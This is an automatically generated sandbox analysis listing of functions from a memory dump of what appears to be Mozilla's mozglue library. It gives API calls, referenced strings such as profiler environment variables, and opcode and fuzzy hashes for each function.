ReleaseSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C5774D7,6C5815FC,?,?,?), ref: 6C577677

Memory Dump Source

Source File: 00000000.00000002.2527083895.000000006C521000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2527064759.000000006C520000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527141531.000000006C59D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527166861.000000006C5AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527186524.000000006C5B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_ZXVcgrmGRM.jbxd

Similarity

API ID: ExclusiveLock$AcquireConditionCurrentInitializeReleaseThreadVariablemallocmoz_xmalloc
String ID:
API String ID: 418114769-0
Opcode ID: 9097378ea6fd39b30398a0efb555fece28ef029b39740752d3880f96c3782c96
Instruction ID: 35d2d6fd16686e51180da41079a743c087cb9e7e15210f239ea6e28679df5f63
Opcode Fuzzy Hash: 9097378ea6fd39b30398a0efb555fece28ef029b39740752d3880f96c3782c96
Instruction Fuzzy Hash: 1EF02271E10349ABD3009F62DC8867AB778FFEA259F12431AF90443601E7B1A5D08BD0

Function 6C581700 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 190COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6C581800

Part of subcall function 6C55CBE8: GetCurrentProcess.KERNEL32(?,6C5231A7), ref: 6C55CBF1
Part of subcall function 6C55CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5231A7), ref: 6C55CBFA

Part of subcall function 6C524290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C563EBD,6C563EBD,00000000), ref: 6C5242A9

Strings

{marker.name} - {marker.data.name}, xrefs: 6C5818C7
name, xrefs: 6C581939
Details, xrefs: 6C581925

Memory Dump Source

Source File: 00000000.00000002.2527083895.000000006C521000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2527064759.000000006C520000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527141531.000000006C59D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527166861.000000006C5AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527186524.000000006C5B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_ZXVcgrmGRM.jbxd

Similarity

API ID: Process$CurrentInit_thread_footerTerminatestrlen
String ID: Details$name${marker.name} - {marker.data.name}
API String ID: 46770647-1733325692
Opcode ID: af3ef14d486c24d1696003f63e5a674013ffec700884aad87b2e84c2d0cbf4c9
Instruction ID: d401da408042de33a00f4af2f7b8163141c5321778b3e9d50a5f3859dbb3a570
Opcode Fuzzy Hash: af3ef14d486c24d1696003f63e5a674013ffec700884aad87b2e84c2d0cbf4c9
Instruction Fuzzy Hash: 7771F370A00346DFCB04DF69D894A9EBBF1FF89314F414669D8154BB41D770AAA8CBE1

Function 6C54D468 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 6C55CBE8: GetCurrentProcess.KERNEL32(?,6C5231A7), ref: 6C55CBF1
Part of subcall function 6C55CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5231A7), ref: 6C55CBFA

EnterCriticalSection.KERNEL32(6C5AE784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C55D1C5), ref: 6C54D4F2
LeaveCriticalSection.KERNEL32(6C5AE784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C55D1C5), ref: 6C54D50B

Part of subcall function 6C52CFE0: EnterCriticalSection.KERNEL32(6C5AE784), ref: 6C52CFF6
Part of subcall function 6C52CFE0: LeaveCriticalSection.KERNEL32(6C5AE784), ref: 6C52D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C55D1C5), ref: 6C54D52E
EnterCriticalSection.KERNEL32(6C5AE7DC), ref: 6C54D690
LeaveCriticalSection.KERNEL32(6C5AE784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C55D1C5), ref: 6C54D751

Strings

MOZ_CRASH(), xrefs: 6C54D4BB

Memory Dump Source

Source File: 00000000.00000002.2527083895.000000006C521000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2527064759.000000006C520000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527141531.000000006C59D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527166861.000000006C5AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527186524.000000006C5B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_ZXVcgrmGRM.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Process$CountCurrentInitializeSpinTerminate
String ID: MOZ_CRASH()
API String ID: 3805649505-2608361144
Opcode ID: b0d2c572d688fec0810daee994eb3f51a5960e2a52b7d3eea46e6fb2a627605b
Instruction ID: 0e2dd2d16b1fa00a3e296572b85af494037b9a009d5dd8d4c2f9cc9f29ec1779
Opcode Fuzzy Hash: b0d2c572d688fec0810daee994eb3f51a5960e2a52b7d3eea46e6fb2a627605b
Instruction Fuzzy Hash: A3511371A047018FD728CF6AC89471AB7F1EB8A714F558A2ED599C7F85DB70E800CB81

Function 6C574630 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 138COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C574721

Strings

., xrefs: 6C57476A
profiler-paused, xrefs: 6C5746E4
-%llu, xrefs: 6C574733

Memory Dump Source

Source File: 00000000.00000002.2527083895.000000006C521000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2527064759.000000006C520000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527141531.000000006C59D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527166861.000000006C5AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527186524.000000006C5B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_ZXVcgrmGRM.jbxd

Similarity

API ID: __aulldiv
String ID: -%llu$.$profiler-paused
API String ID: 3732870572-2661126502
Opcode ID: 2c430e4854907d2e64d135fdfde3f7e4ffb21aa09dff534a6795d8831f5ee928
Instruction ID: 5bf5b0d9caabf301256721509f1d4256309ea44abce338df613fb9260da2aaf5
Opcode Fuzzy Hash: 2c430e4854907d2e64d135fdfde3f7e4ffb21aa09dff534a6795d8831f5ee928
Instruction Fuzzy Hash: 94417671E047089BCB08DF79EC4115EBBE5EF85744F11873EE849ABB81EB3098858B91

Function 6C599830 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116COMMON

Download Yara Rule

APIs

??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6C59985D
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6C59987D
MOZ_CrashPrintf.MOZGLUE(ElementAt(aIndex = %zu, aLength = %zu),?,?), ref: 6C5998DE

Strings

ElementAt(aIndex = %zu, aLength = %zu), xrefs: 6C5998D9

Memory Dump Source

Source File: 00000000.00000002.2527083895.000000006C521000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2527064759.000000006C520000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527141531.000000006C59D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527166861.000000006C5AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527186524.000000006C5B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_ZXVcgrmGRM.jbxd

Similarity

API ID: Printf$Target@mozilla@@$?vprint@Crash
String ID: ElementAt(aIndex = %zu, aLength = %zu)
API String ID: 1778083764-3290996778
Opcode ID: a910601ea9b92649cdd6d687c2cffaa2e06547e318e36acb1779195345a79f80
Instruction ID: f6edb04edea14fe3048f26bfc22862b9aefeeb9b5048d29e35dc4326bd394b60
Opcode Fuzzy Hash: a910601ea9b92649cdd6d687c2cffaa2e06547e318e36acb1779195345a79f80
Instruction Fuzzy Hash: B0310871E00108AFDB14AF9ADC445EF77A9DF89314F80802EEA0A9BB40DB316D158BE1

Function 6C5746E0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 115COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C574721

Part of subcall function 6C524410: __stdio_common_vsprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,6C563EBD,00000017,?,00000000,?,6C563EBD,?,?,6C5242D2), ref: 6C524444

Strings

., xrefs: 6C57476A
profiler-paused, xrefs: 6C5746E4
-%llu, xrefs: 6C574733

Memory Dump Source

Source File: 00000000.00000002.2527083895.000000006C521000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2527064759.000000006C520000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527141531.000000006C59D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527166861.000000006C5AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527186524.000000006C5B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_ZXVcgrmGRM.jbxd

Similarity

API ID: __aulldiv__stdio_common_vsprintf
String ID: -%llu$.$profiler-paused
API String ID: 680628322-2661126502
Opcode ID: 590e4e3e899c626758ca68331df7561d7f9359776036e9d5fc0e8104402c5175
Instruction ID: 801640041969cc053b43347256e7d5cf7b1c799d0140a4ff63cb4c6b228b2a0c
Opcode Fuzzy Hash: 590e4e3e899c626758ca68331df7561d7f9359776036e9d5fc0e8104402c5175
Instruction Fuzzy Hash: CE310871F042089BCB0CCFADDC9169EBBE6DB89314F55853EE8059B741E77498458BA0

Function 6C57B410 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 104stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C524290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C563EBD,6C563EBD,00000000), ref: 6C5242A9

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6C57B127), ref: 6C57B463
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C57B4C9
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(FFFFFFFF,pid:,00000004), ref: 6C57B4E4

Strings

pid:, xrefs: 6C57B4DE

Memory Dump Source

Source File: 00000000.00000002.2527083895.000000006C521000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2527064759.000000006C520000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527141531.000000006C59D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527166861.000000006C5AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527186524.000000006C5B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_ZXVcgrmGRM.jbxd

Similarity

API ID: _getpidstrlenstrncmptolower
String ID: pid:
API String ID: 1720406129-3403741246
Opcode ID: 12bff47027cb470707e0b318394474f131c85fafdc8e6753a0ef4424e08be8c1
Instruction ID: fddf7443cef4a09beff85e16801eb1084f74259aa0bf938112586985036d6e8a
Opcode Fuzzy Hash: 12bff47027cb470707e0b318394474f131c85fafdc8e6753a0ef4424e08be8c1
Instruction Fuzzy Hash: FA31F571A01208DFDB20EFAADC80A9EB7B7FF45318F580529D80167A41E731A995CBF1

Function 6C53BF00 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 52COMMON

Download Yara Rule

APIs

??0ios_base@std@@IAE@XZ.MSVCP140(?,?,?,?,6C587A3F), ref: 6C53BF11
?init@?$basic_ios@DU?$char_traits@D@std@@@std@@IAEXPAV?$basic_streambuf@DU?$char_traits@D@std@@@2@_N@Z.MSVCP140(?,00000000,?,6C587A3F), ref: 6C53BF5D
??0?$basic_streambuf@DU?$char_traits@D@std@@@std@@IAE@XZ.MSVCP140(?,6C587A3F), ref: 6C53BF7E

Strings

Yl, xrefs: 6C53BF84

Memory Dump Source

Source File: 00000000.00000002.2527083895.000000006C521000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2527064759.000000006C520000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527141531.000000006C59D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527166861.000000006C5AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527186524.000000006C5B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_ZXVcgrmGRM.jbxd

Similarity

API ID: U?$char_traits@$D@std@@@std@@$??0?$basic_streambuf@??0ios_base@std@@?init@?$basic_ios@D@std@@@2@_V?$basic_streambuf@
String ID: Yl
API String ID: 4279176481-3137342586
Opcode ID: f79d10b32152c1296881a3892b483956632983776fa37da2b171ccac02510f00
Instruction ID: 318af535b70ee1274a918d4cc3fd56a00cc988c408c8c47e1381ca3a9b50f5ec
Opcode Fuzzy Hash: f79d10b32152c1296881a3892b483956632983776fa37da2b171ccac02510f00
Instruction Fuzzy Hash: 1011C375200644CFC725CF1CDA9992AFBF4FF59304315889DEA8A8B751C771E800CB94

Function 6C56E550 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C56E577
AcquireSRWLockExclusive.KERNEL32(6C5AF4B8), ref: 6C56E584
ReleaseSRWLockExclusive.KERNEL32(6C5AF4B8), ref: 6C56E5DE
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C56E8A6

Strings

MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C56E777
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C56E722, 6C56E750, 6C56E7A2
MOZ_PROFILER_STARTUP, xrefs: 6C56E5A1, 6C56E5CC, 6C56E5FF, 6C56E62A
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C56E826, 6C56E850
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C56E655

Memory Dump Source

Source File: 00000000.00000002.2527083895.000000006C521000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2527064759.000000006C520000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527141531.000000006C59D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527166861.000000006C5AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527186524.000000006C5B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_ZXVcgrmGRM.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadXbad_function_call@std@@
String ID: MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL
API String ID: 1483687287-53385798
Opcode ID: a6409b90661f2690346f644ba5202e035f128e4054abe4c37d10f6f32870c135
Instruction ID: 081d6ddfe0b6b0c1a60f8ee79a5df4badd35b31bbd4e3d79242cac9bb71d9351
Opcode Fuzzy Hash: a6409b90661f2690346f644ba5202e035f128e4054abe4c37d10f6f32870c135
Instruction Fuzzy Hash: 4B116131604258DFCB009F9ADC49B5EBBF4FB89328F420619E84557B50D770A805CFE9

Function 6C570C90 Relevance: 6.3, APIs: 5, Instructions: 99stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C570CD5

Part of subcall function 6C55F960: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C55F9A7

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C570D40
free.MOZGLUE ref: 6C570DCB

Part of subcall function 6C545E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C545EDB
Part of subcall function 6C545E90: memset.VCRUNTIME140(ewXl,000000E5,?), ref: 6C545F27
Part of subcall function 6C545E90: LeaveCriticalSection.KERNEL32(?), ref: 6C545FB2

free.MOZGLUE ref: 6C570DDD
free.MOZGLUE ref: 6C570DF2

Memory Dump Source

Source File: 00000000.00000002.2527083895.000000006C521000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2527064759.000000006C520000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527141531.000000006C59D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527166861.000000006C5AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527186524.000000006C5B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_ZXVcgrmGRM.jbxd

Similarity

API ID: free$CriticalSectionstrlen$EnterImpl@detail@mozilla@@LeaveMutexmemset
String ID:
API String ID: 4069420150-0
Opcode ID: c0d4d3a3e7afe121dd0cbc3a277511fd1614746c8854dc61c6642485ba461c45
Instruction ID: e709b85a3e65b6ac9e982d3239a055212493d39ce10fb5b8287a0ededbc5ec13
Opcode Fuzzy Hash: c0d4d3a3e7afe121dd0cbc3a277511fd1614746c8854dc61c6642485ba461c45
Instruction Fuzzy Hash: C3410471918780DBD720CF29C98079AFBE5BFC9714F518A2EE8D887750D770A885CB92

Function 6C560800 Relevance: 6.3, APIs: 5, Instructions: 71COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C5AE7DC), ref: 6C560838
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C56084C
EnterCriticalSection.KERNEL32(?), ref: 6C5608AF
LeaveCriticalSection.KERNEL32(?), ref: 6C5608BD
LeaveCriticalSection.KERNEL32(6C5AE7DC), ref: 6C5608D5

Memory Dump Source

Source File: 00000000.00000002.2527083895.000000006C521000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2527064759.000000006C520000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527141531.000000006C59D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527166861.000000006C5AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527186524.000000006C5B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_ZXVcgrmGRM.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset
String ID:
API String ID: 837921583-0
Opcode ID: 2888648072c6e391dd530671ffd5fa9c0dacf049b4a2a438d2c5e8a51933a4f5
Instruction ID: ff887b3645d7ae7e401bd450de1d19a112ef4272f3374871da498232979edfab
Opcode Fuzzy Hash: 2888648072c6e391dd530671ffd5fa9c0dacf049b4a2a438d2c5e8a51933a4f5
Instruction Fuzzy Hash: 0521B031B0124D8BEF04DFA7DC84BAE73B9AF85708F510529D509A7B40DF71A8158BD8

Function 6C57CCF0 Relevance: 6.3, APIs: 4, Instructions: 299COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(000000E0,00000000,?,6C56DA31,00100000,?,?,00000000,?), ref: 6C57CDA4

Part of subcall function 6C53CA10: malloc.MOZGLUE(?), ref: 6C53CA26

Part of subcall function 6C57D130: InitializeConditionVariable.KERNEL32(00000010,00020000,00000000,00100000,?,6C57CDBA,00100000,?,00000000,?,6C56DA31,00100000,?,?,00000000,?), ref: 6C57D158
Part of subcall function 6C57D130: InitializeConditionVariable.KERNEL32(00000098,?,6C57CDBA,00100000,?,00000000,?,6C56DA31,00100000,?,?,00000000,?), ref: 6C57D177

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE(?,?,00000000,?,6C56DA31,00100000,?,?,00000000,?), ref: 6C57CDC4

Part of subcall function 6C577480: ReleaseSRWLockExclusive.KERNEL32(?,6C5815FC,?,?,?,?,6C5815FC,?), ref: 6C5774EB

moz_xmalloc.MOZGLUE(00000014,?,?,?,00000000,?,6C56DA31,00100000,?,?,00000000,?), ref: 6C57CECC

Part of subcall function 6C53CA10: mozalloc_abort.MOZGLUE(?), ref: 6C53CAA2

Part of subcall function 6C56CB30: floor.API-MS-WIN-CRT-MATH-L1-1-0(?,?,00000000,?,6C57CEEA,?,?,?,?,00000000,?,6C56DA31,00100000,?,?,00000000), ref: 6C56CB57
Part of subcall function 6C56CB30: _beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,6C56CBE0,00000000,00000000,00000000,?,?,?,?,00000000,?,6C57CEEA,?,?), ref: 6C56CBAF

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,?,6C56DA31,00100000,?,?,00000000,?), ref: 6C57D058

Memory Dump Source

Source File: 00000000.00000002.2527083895.000000006C521000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2527064759.000000006C520000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527141531.000000006C59D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527166861.000000006C5AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527186524.000000006C5B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_ZXVcgrmGRM.jbxd

Similarity

API ID: ConditionInitializeVariablemoz_xmalloc$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedExclusiveLockProfileRelease_beginthreadexfloormallocmozalloc_aborttolower
String ID:
API String ID: 861561044-0
Opcode ID: e2034e76144670f1bb0f02fe5ec23ca0b7aad2016df2ee70cdfca52b8fab24c9
Instruction ID: bf6e9fa9bcdc588d8c8c57c46cf0de0973b6a5afb239a76e8e9b48794e54c901
Opcode Fuzzy Hash: e2034e76144670f1bb0f02fe5ec23ca0b7aad2016df2ee70cdfca52b8fab24c9
Instruction Fuzzy Hash: A7D16F71A04B46DFD718CF28C880B99F7E1BF89304F01866DD8598B711EB31B9A5CB91

Function 6C531720 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6C5317B2
memset.VCRUNTIME140(?,00000000,?,?), ref: 6C5318EE
free.MOZGLUE(?), ref: 6C531911
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C53194C

Memory Dump Source

Source File: 00000000.00000002.2527083895.000000006C521000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2527064759.000000006C520000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527141531.000000006C59D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527166861.000000006C5AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527186524.000000006C5B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_ZXVcgrmGRM.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturnfreememcpymemset
String ID:
API String ID: 3725304770-0
Opcode ID: ca2996485af46edf4af385e9ff4e6df12c6911826ef083e7f8b9cc851ff85da4
Instruction ID: acc0b967c3de2846cb998b0c70ccfaa2bf4bf39357f5581c56b5145dac5025dc
Opcode Fuzzy Hash: ca2996485af46edf4af385e9ff4e6df12c6911826ef083e7f8b9cc851ff85da4
Instruction Fuzzy Hash: CC81AD71A102159FCB08CF78DC949AFBBB1FF89314B04556CE819AB750EB30E854CBA1

Function 6C545C50 Relevance: 6.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6C545D40
EnterCriticalSection.KERNEL32(6C5AF688), ref: 6C545D67
__aulldiv.LIBCMT ref: 6C545DB4
LeaveCriticalSection.KERNEL32(6C5AF688), ref: 6C545DED

Memory Dump Source

Source File: 00000000.00000002.2527083895.000000006C521000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2527064759.000000006C520000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527141531.000000006C59D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527166861.000000006C5AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527186524.000000006C5B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_ZXVcgrmGRM.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: 33946f5f66639351102e11e82dcf7720e799a6262fcea6f113fe2c41593982e8
Instruction ID: c427fd675328a6e0a01fce28d29644bc93bcbfa08259bcaedecd2fb447e639f6
Opcode Fuzzy Hash: 33946f5f66639351102e11e82dcf7720e799a6262fcea6f113fe2c41593982e8
Instruction Fuzzy Hash: 48515F71E001198FDF08CFA9DC54AAEBBB1FF85304F6A8629D811A7760C7706945CBD4

Function 6C52CDF0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,-000000EA,?,?,?,?,?,?,?,?,?,?,?), ref: 6C52CEBD
memcpy.VCRUNTIME140(?,?,?,?,?,?,?), ref: 6C52CEF5
memset.VCRUNTIME140(-000000E5,00000030,?,?,?,?,?,?,?,?), ref: 6C52CF4E

Strings

0, xrefs: 6C52CF30

Memory Dump Source

Source File: 00000000.00000002.2527083895.000000006C521000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2527064759.000000006C520000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527141531.000000006C59D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527166861.000000006C5AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527186524.000000006C5B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_ZXVcgrmGRM.jbxd

Similarity

API ID: memcpy$memset
String ID: 0
API String ID: 438689982-4108050209
Opcode ID: 5a36a869130ad85cfffa767ccb7ed84d188967c3ada1c295e14bde3e2f835071
Instruction ID: eeb6fb296a7a01682e468925ccfc43f9332027a5cabab9c4d62e78a78c975458
Opcode Fuzzy Hash: 5a36a869130ad85cfffa767ccb7ed84d188967c3ada1c295e14bde3e2f835071
Instruction Fuzzy Hash: 6B51F075A00256CFCB01CF18C890AAABBA5EF99300F198599D8595F392D735FD06CBE0

Function 6C5877D0 Relevance: 6.1, APIs: 4, Instructions: 113stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5877FA
?StringToDouble@StringToDoubleConverter@double_conversion@@QBENPBDHPAH@Z.MOZGLUE(00000001,00000000,?), ref: 6C587829

Part of subcall function 6C55CC38: GetCurrentProcess.KERNEL32(?,?,?,?,6C5231A7), ref: 6C55CC45
Part of subcall function 6C55CC38: TerminateProcess.KERNEL32(00000000,00000003,?,?,?,?,6C5231A7), ref: 6C55CC4E

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C58789F
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C5878CF

Part of subcall function 6C524DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C524E5A
Part of subcall function 6C524DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C524E97

